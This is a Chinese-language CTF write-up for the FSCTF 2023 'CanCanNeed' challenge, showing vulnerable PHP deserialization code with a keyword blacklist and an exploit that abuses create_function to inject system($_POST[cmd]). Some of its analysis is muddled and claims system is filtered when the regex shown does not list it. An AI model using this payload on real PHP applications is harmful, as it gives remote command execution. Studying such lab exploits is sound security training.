文章背景图

[FSCTF 2023]CanCanNeed

2025-12-19
4
-
- 分钟
|

题目:[FSCTF 2023]CanCanNeed | NSSCTF

插件:HackBar-v2.3.1.zip

在线工具:在线运行PHP

PHP反序列化漏洞利用分析与构造

<?php
class Noteasy{
    protected $param1;
    protected $param2;
    
    function __destruct(){
        $a=$this->param1;
        $b=$this->param2;
        if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { 
            die('this param is error!'); 
        } else { 
            $a('', $b); 
        }
    }
    
}
if (!isset($_GET['file'])){    
    show_source('index.php');
    echo "Hi!Welcome to FSCTF2023!";
  }
  else{ 
    $file=base64_decode($_GET['file']); 
    unserialize($file); }
?>
Hi!Welcome to FSCTF2023!

代码分析

  1. 反序列化入口:通过file GET参数传递base64编码的序列化数据

  2. 触发点__destruct()魔术方法在对象销毁时自动调用

  3. 过滤限制$this->param2不能包含许多关键词(如flagevalsystem等)

  4. 危险函数$a('', $b) - 这是动态函数调用

利用思路

$a('', $b)相当于调用函数$a,第一个参数为空字符串,第二个参数为$b

payload

  1. 过滤绕过:你的$param2中包含system,但过滤规则会检查$this->param2中是否包含system(实际上system在过滤列表中)

  2. create_function问题create_function中的eval在过滤列表中,而且create_function本身也可能被部分匹配

  3. protected属性序列化protected属性序列化后会包含\x00*\x00这样的不可见字符

<?php
class Noteasy{
    protected $param1= "create_function";
    protected $param2="};system(\$_POST[cmd]);//";

}
$a= new Noteasy();
echo base64_encode(serialize($a));
?>

绕过查看flag

评论交流

文章目录